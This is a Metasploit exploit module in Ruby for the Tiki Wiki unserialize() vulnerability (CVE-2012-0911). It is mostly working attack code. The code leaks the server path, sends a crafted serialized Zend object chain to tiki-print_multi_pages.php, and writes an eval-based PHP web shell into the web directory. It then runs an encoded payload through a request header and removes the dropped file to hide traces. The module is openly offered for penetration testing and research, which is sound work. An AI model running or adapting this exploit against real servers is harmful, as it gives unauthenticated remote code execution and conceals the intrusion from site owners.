Tiki Wiki unserialize() PHP Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Tiki Wiki unserialize() PHP Code Execution',
        'Description' => %q{
          This module exploits a php unserialize() vulnerability in Tiki Wiki <= 8.3
          which could be abused to allow unauthenticated users to execute arbitrary code
          under the context of the webserver user.

          The dangerous unserialize() exists in the 'tiki-print_multi_pages.php' script,
          which is called with user controlled data from the 'printpages' parameter.
          The exploit abuses the __destruct() method from the Zend_Pdf_ElementFactory_Proxy
          class to write arbitrary PHP code to a file on the Tiki Wiki web directory.

          In order to run successfully three conditions must be satisfied (1) display_errors
          php setting must be On to disclose the filesystem path of Tiki Wiki, (2) The Tiki
          Wiki Multiprint feature must be enabled to exploit the unserialize() and (3) a php
          version older than 5.3.4 must be used to allow poison null bytes in filesystem related
          functions. The exploit has been tested successfully on Ubuntu 9.10 and Tiki Wiki 8.3.
        },
        'Author' => [
          'EgiX', # Vulnerability discovery and PoC
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2012-0911' ],
          [ 'OSVDB', '83534' ],
          [ 'BID', '54298' ],
          [ 'EDB', '19573' ],
          [ 'URL', 'http://dev.tiki.org/item4109' ]
        ],
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Payload' => {
          'DisableNops' => true,
        },
        'Targets' => [ ['Automatic', {}] ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-07-04',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
            ]
          }
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, "The base path to the web application", "/tiki/"])
      ]
    )

    self.needs_cleanup = true
  end

  def on_new_session(client)
    if client.type == "meterpreter"
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
      begin
        print_warning("Deleting #{@upload_php}")
        client.fs.file.rm(@upload_php)
        print_good("#{@upload_php} removed to stay ninja")
      rescue
        print_error("Unable to remove #{f}")
      end
    end
  end

  def exploit
    base = target_uri.path
    base << '/' if base[-1, 1] != '/'
    @upload_php = rand_text_alpha(rand(4) + 4) + ".php"

    print_status("Disclosing the path of the Tiki Wiki on the filesystem")

    res = send_request_cgi(
      'uri' => normalize_uri(base, "tiki-rss_error.php")
    )

    if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/
      print_error "Tiki Wiki path couldn't be disclosed. The php setting 'display_errors' must be On."
      return
    else
      tiki_path = $1
      print_good "Tiki Wiki path disclosure: #{tiki_path}"
    end

    php_payload = "<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>"

    printpages = "O:29:\"Zend_Pdf_ElementFactory_Proxy\":1:"
    printpages << "{s:39:\"%00Zend_Pdf_ElementFactory_Proxy%00_factory\";O:51:\"Zend_Search_Lucene_Index_SegmentWriter_StreamWriter\":5:"
    printpages << "{s:12:\"%00*%00_docCount\";i:1;s:8:\"%00*%00_name\";s:3:\"foo\";s:13:\"%00*%00_directory\";O:47:\"Zend_Search_Lucene_Storage_Directory_Filesystem\":1:"
    printpages << "{s:11:\"%00*%00_dirPath\";s:#{tiki_path.length + @upload_php.length + 1}:\"#{tiki_path + @upload_php}%00\";}"
    printpages << "s:10:\"%00*%00_fields\";a:1:"
    printpages << "{i:0;O:34:\"Zend_Search_Lucene_Index_FieldInfo\":1:"
    printpages << "{s:4:\"name\";s:#{php_payload.length}:\"#{php_payload}\";}}"
    printpages << "s:9:\"%00*%00_files\";O:8:\"stdClass\":0:{}}}"

    print_status("Exploiting the unserialize() to upload PHP code")

    res = send_request_cgi(
      {
        'uri' => normalize_uri(base, "tiki-print_multi_pages.php"),
        'method' => 'POST',
        'vars_post' => {
          'printpages' => printpages
        }
      }
    )

    if not res or res.code != 200
      print_error("Exploit failed: #{res.code}. The Tiki Wiki Multiprint feature must be enabled.")
      return
    end

    print_status("Executing the payload #{@upload_php}")

    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(base, @upload_php),
        'headers' => {
          'Cmd' => Rex::Text.encode_base64(payload.encoded)
        }
      }
    )

    if res
      print_error("Payload execution failed: #{res.code}")
      return
    end
  end
end